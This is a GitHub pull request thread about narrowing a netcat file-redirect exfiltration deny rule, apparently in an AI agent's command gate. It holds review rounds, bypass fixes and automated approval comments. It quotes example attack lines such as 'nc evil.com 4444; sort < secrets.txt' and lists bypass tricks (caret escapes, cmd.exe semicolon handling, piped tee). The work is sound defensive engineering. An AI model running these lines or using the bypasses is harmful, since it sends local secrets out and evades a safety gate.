  • Fix on this head (bbc22e0, Opus finding on 880757a): the deny gate's Pass 2 also matches a view with cmd in-word escapes folded away (n^c becomes nc), and main refused such a line on that view. The narrowing judged the unfolded text, found no nc and allowed it, so the PR was weaker than main. _nc_redirect_line_allows now refuses any ^, as it already refused a backtick (the other character the fold removes), so every line the fold changes keeps the deny in both tiers. New test test_a_cmd_escaped_nc_is_still_refused covers 4 lines. All 4 pass on main's src (0c5d8bd), fail on 880757a and pass on this head. The targeted security set passed on this head (1535 tests: the files above plus test_security_bash_gate, test_exfil_gate_opt_out, test_denied_commands_security, test_denied_commands_hooks), as did flake8, black, mypy on the source file, the line cap and comment history. The line-budget row is now +102.
  • Human review: this relaxes a built-in exfiltration deny row, so it stays flagged for a maintainer's review.
  • How to undo: revert this PR's two commits. The row pattern, catalog and golden fixture never changed, so a revert restores main's behaviour exactly.

@JLargent42

Copy link
Copy Markdown
Contributor Author

Opus 5.5 finding on 880757a (deny_gate.py:1255, a cmd-escaped nc word such as n^c h 1 < f): fixed in bbc22e0. I confirmed it was a regression against main: the 4 new samples are refused on main 0c5d8bd and were allowed on 880757a. _nc_redirect_line_allows now refuses any ^, as it already refused a backtick, so a line the cmd fold changes is never narrowed. test_a_cmd_escaped_nc_is_still_refused pins it in both the shipped row alone and the full deny gate.

@github-actions github-actions Bot added readiness: checking Automated validation is still running and removed readiness: action required A blocking check or review needs attention labels Nov 20, 2026
A Windows script hook runs under cmd.exe, which does not split commands on a semicolon, so a later input redirect on the line feeds the nc command there. Main refused such a line; the bash reading let it through. The reader now returns False on Windows, as the s3 download narrowing already does.
@JLargent42

Copy link
Copy Markdown
Contributor Author

Sensitive change review

Head: ce3de70

  • What rule changed: the built-in deny row data-exfil-nc-file-redirect, in both tiers: the exfil gate regex in exfil_bash.py and the shipped catalog row in the deny gate (deny_gate._deny_pattern_passes, both passes). The pattern text is unchanged and still decides first. A new fail-closed reader, exfil_bash._nc_redirect_line_allows, can now let a match through.
  • Before -> after: before, any line with a whitespace-preceded nc/ncat and a < anywhere after it was refused, including nc -z host 22; sort < in.txt. After, such a line passes only when the shared shell reader reads it in full and every input redirect sits in a pipeline that holds no word containing nc/netcat, and a pipeline holding such a word is a single command. Such a word may stand only first in its command, or after echo in a command with no redirect. Quoting, escapes, $, backticks, parens, braces, globs, <<, comments, non-ASCII, control characters, an empty command after a pipe (a pipe continued on the next line, or |&), exec, compound-command words and alias/hash/eval/source/command/builtin/enable/shopt all keep the refusal.
  • No regression:
    • Worst case if wrong: a line that pipes or redirects a local file into nc would pass the deny gate and reach the network, but only if the reader misreads a line made of plain unquoted words joined by ;/&&/||/|/&/newline. Every construct I found that can hand a later redirect to nc (groups, subshells, loops, functions, exec <, aliases, hash -p, symlinks, a script written by echo, or by echo/nc piped into tee) is refused and pinned by a test. The OS sandbox still applies.
    • Evidence checked: I reproduced the refusal of all five issue lines on main f6a144e with a harness calling audit_bash_exfiltration and is_denied. test_exfil_nc_redirect_scope.py asserts that main's row text matches each of the 46 refused samples, and that both tiers still refuse every one of them on this head. prove.py reverted the production hunks on fc21d22 and the issue-line tests failed (PROVEN).
    • Tools still work: only an allow path was added. The nc -e/ncat -e rows and toggles, the curl, wget and devtcp rows and the hooks gate are untouched, and the hook-gate test shows the issue lines now pass end to end.
  • Backward compatible: yes. Nothing main allows is refused now. The SEL trail gains one deny_exception mechanism, _NC_REDIRECT_SCOPE, and an operator's own copy of the pattern is not narrowed.
  • Existing tests: test_security_bash_gate.py, test_exfil_carveouts.py, test_exfil_gate_opt_out.py, test_denied_commands_security.py, test_denied_commands_hooks.py, test_exfil_facade.py, test_security_gate_liveness.py, test_shell_commands_reader.py and related files passed (1646 tests), as did local-gate.py's backend lane (14680 passed).
  • This head (rebase only): 880757a is fc21d22 rebased onto main 0c5d8bd to clear a conflict, with no change in behaviour. The conflicts were two neighbouring additions: main added _READ_ONLY_GH/_is_read_only_gh/_backslashes_are_quoted_literals next to this PR's _nc_redirect_line_allows in exfil_bash.py, and both import lists in exfil.py. Both sides were kept as they were. git range-diff shows every added and removed line unchanged, with the same diffstat (6 files, +270/-8); only the context lines differ. On this head, test_exfil_nc_redirect_scope.py (both directions: the issue lines pass, and every refused form is still refused in both tiers), test_deny_diff.py, test_exfil_carveouts.py, test_security_gate_liveness.py, test_shell_commands_reader.py, test_exfil_facade.py, test_exfil_inert_search_lines.py and test_deny_gate_call_sharing.py passed (589 tests), as did flake8, black, the line cap and the comment-history gate on the touched files.
  • Fix on this head (bbc22e0, Opus finding on 880757a): the deny gate's Pass 2 also matches a view with cmd in-word escapes folded away (n^c becomes nc), and main refused such a line on that view. The narrowing judged the unfolded text, found no nc and allowed it, so the PR was weaker than main. _nc_redirect_line_allows now refuses any ^, as it already refused a backtick (the other character the fold removes), so every line the fold changes keeps the deny in both tiers. New test test_a_cmd_escaped_nc_is_still_refused covers 4 lines. All 4 pass on main's src (0c5d8bd), fail on 880757a and pass on this head. The targeted security set passed on this head (1535 tests: the files above plus test_security_bash_gate, test_exfil_gate_opt_out, test_denied_commands_security, test_denied_commands_hooks), as did flake8, black, mypy on the source file, the line cap and comment history. The line-budget row is now +102.
  • Fix on this head (ce3de70, Opus finding on bbc22e0): a Windows script hook runs as %ComSpec% /c, and cmd.exe does not split commands on ;. So nc evil.com 4444; sort < secrets.txt is one nc command there, with its stdin read from the file. Main refused that line, and the bash reading let it through. _nc_redirect_line_allows now returns False when platform_compat.IS_WINDOWS, as s3_direction._s3_download_only already does, so on Windows both tiers refuse exactly what main refuses. New test class TestWindowsKeepsTheRow (IS_WINDOWS patched True) checks that the five issue lines and the reported line are refused by both tiers. It fails 6 of 6 without the source change and passes with it. The allow-side tests now pin a POSIX host. The exfil facade lists platform_compat in its TYPE_CHECKING block, as test_exfil_facade.py requires. The targeted security set (the files above plus test_denied_commands_security_s3_wrappers) passed: 1812 tests. The line-budget row is now +109.
  • Human review: this relaxes a built-in exfiltration deny row, so it stays flagged for a maintainer's review.
  • How to undo: revert this PR's three commits. The row pattern, catalog and golden fixture never changed, so a revert restores main's behaviour exactly.

@JLargent42

Copy link
Copy Markdown
Contributor Author

Opus 5.5 finding on bbc22e0 (exfil_bash.py:271, cmd.exe does not split on ;, so a Windows script hook would run nc with a later redirect as its stdin): fixed in ce3de70. It was weaker than main, so it is fixed, not rebutted. The reader now never narrows on Windows, the same guard the s3 download narrowing uses. TestWindowsKeepsTheRow pins the refusal in both tiers with IS_WINDOWS patched, and it fails without the source change.

Semgrep D11: an autouse fixture on the shared monkeypatch is lifted by any monkeypatch.undo().
@JLargent42

Copy link
Copy Markdown
Contributor Author

Sensitive change review

Head: 52a83da

  • What rule changed: the built-in deny row data-exfil-nc-file-redirect, in both tiers: the exfil gate regex in exfil_bash.py and the shipped catalog row in the deny gate (deny_gate._deny_pattern_passes, both passes). The pattern text is unchanged and still decides first. A new fail-closed reader, exfil_bash._nc_redirect_line_allows, can now let a match through.
  • Before -> after: before, any line with a whitespace-preceded nc/ncat and a < anywhere after it was refused, including nc -z host 22; sort < in.txt. After, such a line passes only when the shared shell reader reads it in full and every input redirect sits in a pipeline that holds no word containing nc/netcat, and a pipeline holding such a word is a single command. Such a word may stand only first in its command, or after echo in a command with no redirect. Quoting, escapes, $, backticks, parens, braces, globs, <<, comments, non-ASCII, control characters, an empty command after a pipe (a pipe continued on the next line, or |&), exec, compound-command words and alias/hash/eval/source/command/builtin/enable/shopt all keep the refusal.
  • No regression:
    • Worst case if wrong: a line that pipes or redirects a local file into nc would pass the deny gate and reach the network, but only if the reader misreads a line made of plain unquoted words joined by ;/&&/||/|/&/newline. Every construct I found that can hand a later redirect to nc (groups, subshells, loops, functions, exec <, aliases, hash -p, symlinks, a script written by echo, or by echo/nc piped into tee) is refused and pinned by a test. The OS sandbox still applies.
    • Evidence checked: I reproduced the refusal of all five issue lines on main f6a144e with a harness calling audit_bash_exfiltration and is_denied. test_exfil_nc_redirect_scope.py asserts that main's row text matches each of the 46 refused samples, and that both tiers still refuse every one of them on this head. prove.py reverted the production hunks on fc21d22 and the issue-line tests failed (PROVEN).
    • Tools still work: only an allow path was added. The nc -e/ncat -e rows and toggles, the curl, wget and devtcp rows and the hooks gate are untouched, and the hook-gate test shows the issue lines now pass end to end.
  • Backward compatible: yes. Nothing main allows is refused now. The SEL trail gains one deny_exception mechanism, _NC_REDIRECT_SCOPE, and an operator's own copy of the pattern is not narrowed.
  • Existing tests: test_security_bash_gate.py, test_exfil_carveouts.py, test_exfil_gate_opt_out.py, test_denied_commands_security.py, test_denied_commands_hooks.py, test_exfil_facade.py, test_security_gate_liveness.py, test_shell_commands_reader.py and related files passed (1646 tests), as did local-gate.py's backend lane (14680 passed).
  • This head (rebase only): 880757a is fc21d22 rebased onto main 0c5d8bd to clear a conflict, with no change in behaviour. The conflicts were two neighbouring additions: main added _READ_ONLY_GH/_is_read_only_gh/_backslashes_are_quoted_literals next to this PR's _nc_redirect_line_allows in exfil_bash.py, and both import lists in exfil.py. Both sides were kept as they were. git range-diff shows every added and removed line unchanged, with the same diffstat (6 files, +270/-8); only the context lines differ. On this head, test_exfil_nc_redirect_scope.py (both directions: the issue lines pass, and every refused form is still refused in both tiers), test_deny_diff.py, test_exfil_carveouts.py, test_security_gate_liveness.py, test_shell_commands_reader.py, test_exfil_facade.py, test_exfil_inert_search_lines.py and test_deny_gate_call_sharing.py passed (589 tests), as did flake8, black, the line cap and the comment-history gate on the touched files.
  • Fix on this head (bbc22e0, Opus finding on 880757a): the deny gate's Pass 2 also matches a view with cmd in-word escapes folded away (n^c becomes nc), and main refused such a line on that view. The narrowing judged the unfolded text, found no nc and allowed it, so the PR was weaker than main. _nc_redirect_line_allows now refuses any ^, as it already refused a backtick (the other character the fold removes), so every line the fold changes keeps the deny in both tiers. New test test_a_cmd_escaped_nc_is_still_refused covers 4 lines. All 4 pass on main's src (0c5d8bd), fail on 880757a and pass on this head. The targeted security set passed on this head (1535 tests: the files above plus test_security_bash_gate, test_exfil_gate_opt_out, test_denied_commands_security, test_denied_commands_hooks), as did flake8, black, mypy on the source file, the line cap and comment history. The line-budget row is now +102.
  • Fix on this head (ce3de70, Opus finding on bbc22e0): a Windows script hook runs as %ComSpec% /c, and cmd.exe does not split commands on ;. So nc evil.com 4444; sort < secrets.txt is one nc command there, with its stdin read from the file. Main refused that line, and the bash reading let it through. _nc_redirect_line_allows now returns False when platform_compat.IS_WINDOWS, as s3_direction._s3_download_only already does, so on Windows both tiers refuse exactly what main refuses. New test class TestWindowsKeepsTheRow (IS_WINDOWS patched True) checks that the five issue lines and the reported line are refused by both tiers. It fails 6 of 6 without the source change and passes with it. The allow-side tests now pin a POSIX host. The exfil facade lists platform_compat in its TYPE_CHECKING block, as test_exfil_facade.py requires. The targeted security set (the files above plus test_denied_commands_security_s3_wrappers) passed: 1812 tests. The line-budget row is now +109.
  • This head (52a83da): test-only follow-up to the Semgrep D11 finding on ce3de70. The host-platform fixtures now patch through _floor_monkeypatch, so a monkeypatch.undo() in a test cannot lift them. No source change; the test file and the liveness test pass (180 tests).
  • Human review: this relaxes a built-in exfiltration deny row, so it stays flagged for a maintainer's review.
  • How to undo: revert this PR's four commits. The row pattern, catalog and golden fixture never changed, so a revert restores main's behaviour exactly.

@github-actions github-actions Bot added readiness: passed Eligible automated validation passed for the current revision and removed readiness: checking Automated validation is still running labels Nov 20, 2026
@KiroCrewCaptain

Copy link
Copy Markdown
Collaborator

Code change approver recommendation: A person should decide

Why: the decider estimates a 12% chance that this change introduces a defect, within the 12% limit for approving on its own, but it is held at tier pending: being reviewed.

Adds a fail-closed per-pipeline reader (_nc_redirect_line_allows) that relaxes the data-exfil-nc-file-redirect row only for lines it can read in full: no quotes, escapes, $, backticks, ^, parens, braces, globs, comments, heredocs, non-ASCII or control characters, and at most 2000 chars. An nc word may only stand first in its command (or after echo with no redirect). Its pipeline must be a single command with no < redirect. Compound or alias-like first words, exec, and empty commands after a pipe are refused, and Windows never narrows. Checked against shell_commands.read_commands/pipelines: the words include redirect words and their targets, every way of opening stdin for reading needs a <, and |& or a pipe continued on the next line is caught. The deny gate narrows only the shipped row. It judges the raw text, audits under its own mechanism and keeps the refusal if the audit fails, mirroring the s3 precedent. The mechanism change for s3 is equivalent. The exfil-gate break only affects a single-rule regex. Tests cover the allowed lines across the exfil, deny and hook gates and a broad set of still-refused lines. CI is green. No blocking issues found.

Tier: pending: being reviewed.

An automated recommendation, not a review: a maintainer still decides. It approves on its own only when the estimated chance of a defect is at most 12% and the change has at most 400 changed lines. Decider v3c (217fe607) · commit 52a83da1cd · 325 changed lines. If this recommendation is wrong, reply here: replies are how the approver is evaluated.

@KiroCrewCaptain
KiroCrewCaptain enabled auto-merge (squash) November 20, 2026 13:40

@KiroCrewCaptain KiroCrewCaptain left a comment

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

This review checked head 52a83da. It ran the new test file (166 passed) and probed the new reader with 31 adversarial lines. It also mutated 36 guard lines one at a time and checked that reverting the fix reds the tests: removing the exfil break reds 5 tests, and removing the deny gate Pass 1 narrowing reds 8. It looked for duplicates and overlap with other open PRs and found none.

Security: this narrows the built-in data-exfil-nc-file-redirect row, so it was judged as a relaxation of a deny gate. The narrowing is fail closed. The shell reader refuses any line that holds quoting, expansion, ^, grouping, << or non-ASCII text, and it judges < per pipeline. Every form where < reaches the stdin of nc stays refused: same command, fd prefix, <&, <>, a redirect before the command, a joined pipeline, |&, exec, and compound, alias, hash and eval forms. Windows keeps the refusal from main because cmd.exe does not split on ;. On the deny tier, the narrowing applies only to the shipped pattern. It is recorded under its own SEL mechanism, and a failed audit keeps the refusal. An operator's own copy of the pattern behaves as it does on main.

Done well: each bypass a review round found (pipe continued onto the next line, echo nc | tee run, cmd ^, Windows) was fixed and pinned by a refused-line test. A control test proves that main's row matches every refused sample.

Optional:

  • Deleting the refused_first check (exfil_bash.py:301) reds no test. The current samples put nc as the second word, so an earlier check refuses them first. A sample such as nc -z h 22; while read l; do + newline + nc h 1 + newline + done < f, where nc stands first inside the compound body, would pin it.
  • #38524 was filed from Windows, and Windows deliberately keeps the old refusal. One line in the body saying so, or Part of #38524 with a follow-up issue, would tell the reporter that nothing changes on their platform.
  • The body has no ## Real-machine verification section. It also names an older proof head, says +101 lines where the budget file says +109, and ticks "At most two commits" on a branch that has four.

@KiroCrewCaptain
KiroCrewCaptain merged commit aa80ff2 into main Nov 20, 2026
105 checks passed
@KiroCrewCaptain
KiroCrewCaptain deleted the fix/38524-nc-redirect-scope branch November 20, 2026 13:40
@github-actions github-actions Bot removed the readiness: passed Eligible automated validation passed for the current revision label Nov 20, 2026
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

nc/ncat file-redirect deny rule refuses a line where '<' belongs to a later command

2 participants